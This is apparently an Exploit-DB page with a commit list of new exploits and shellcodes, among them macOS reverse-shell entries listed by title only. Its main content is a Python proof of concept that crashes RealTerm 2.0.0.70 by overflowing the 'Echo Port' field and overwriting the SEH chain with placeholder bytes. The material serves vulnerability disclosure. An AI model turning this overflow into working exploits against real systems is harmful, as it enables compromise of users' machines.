cd868436ff
25 changes to exploits/shellcodes Realterm Serial Terminal 2.0.0.70 - Denial of Service Realterm Serial Terminal 2.0.0.70 - Local Buffer Overflow (SEH) NBMonitor 1.6.5.0 - 'Key' Denial of Service (PoC) Oracle Java Runtime Environment - Heap Out-of-Bounds Read During OTF Font Rendering in glyph_CloseContour Oracle Java Runtime Environment - Heap Out-of-Bounds Read During TTF Font Rendering in OpenTypeLayoutEngine::adjustGlyphPositions Oracle Java Runtime Environment - Heap Out-of-Bounds Read During TTF Font Rendering in ExtractBitMap_blocClass Oracle Java Runtime Environment - Heap Out-of-Bounds Read During TTF Font Rendering in AlternateSubstitutionSubtable::process mIRC < 7.55 - Remote Command Execution Using Argument Injection Through Custom URI Protocol Handlers qdPM 9.1 - 'type' Cross-Site Scripting qdPM 9.1 - 'search[keywords]' Cross-Site Scripting Master IP CAM 01 3.3.4.2103 - Remote Command Execution MISP 2.4.97 - SQL Command Execution via Command Injection in STIX Module CMSsite 1.0 - 'post' SQL Injection M/Monit 3.7.2 - Privilege Escalation Webiness Inventory 2.3 - 'ProductModel' Arbitrary File Upload Apache CouchDB 2.3.0 - Cross-Site Scripting ArangoDB Community Edition 3.4.2-1 - Cross-Site Scripting Comodo Dome Firewall 2.7.0 - Cross-Site Scripting Zoho ManageEngine ServiceDesk Plus (SDP) < 10.0 build 10012 - Arbitrary File Upload WordPress Plugin WooCommerce - GloBee (cryptocurrency) Payment Gateway 1.1.1 - Payment Bypass / Unauthorized Order Status Spoofing macOS - Reverse (::1:4444/TCP) Shell (/bin/sh) +IPv6 Shellcode (119 bytes) macOS - Bind (4444/TCP) Shell (/bin/sh) + IPv6 Shellcode (129 bytes) macOS - Reverse (127.0.0.1:4444/TCP) Shell (/bin/sh) + Null-Free Shellcode (103 bytes) macOS - Bind (4444/TCP) Shell (/bin/sh) + Null-Free Shellcode (123 bytes) macOS - execve(/bin/sh) + Null-Free Shellcode (31 bytes)
40 lines
No EOL
1.2 KiB
Python
Executable file
40 lines
No EOL
1.2 KiB
Python
Executable file
# -*- coding: utf-8 -*-
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# Exploit Title: RealTerm: Serial Terminal 2.0.0.70 - 'Echo Port' Overflow Crash (SEH) (PoC)
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# Date: 16/02/2019
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# Author: Alejandra Sánchez
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# Vendor Homepage: https://realterm.sourceforge.io/
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# Software Link: https://sourceforge.net/projects/realterm/files/
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# Version: 2.0.0.70
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# Tested on: Windows 10 / Windows XP
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# Proof of Concept:
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# 1.- Run the python script "EchoPort.py", it will create a new file "EchoPort.txt"
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# 2.- Copy the content of the new file 'EchoPort.txt' to clipboard
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# 3.- Open realterm.exe
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# 4.- Go to 'Echo Port' tab
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# 5.- Paste clipboard in 'Port' field
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# 6.- Click on button -> Change
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# 7.- Check 'Echo On' or
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# 8.- Crashed
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# After the execution of POC, the SEH chain looks like this:
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# 0012F57C 43434343
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# 42424242 *** CORRUPT ENTRY ***
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# And the Stack
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#0012F568 41414141 AAAA
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#0012F56C 41414141 AAAA
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#0012F570 41414141 AAAA
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#0012F574 41414141 AAAA
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#0012F578 42424242 BBBB Pointer to next SEH record
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#0012F57C 43434343 CCCC SE handler
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buffer = "\x41" * 268
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nseh = "\x42" * 4
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seh = "\x43" * 4
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f = open ("EchoPort.txt", "w")
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f.write(buffer+nseh+seh)
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f.close() |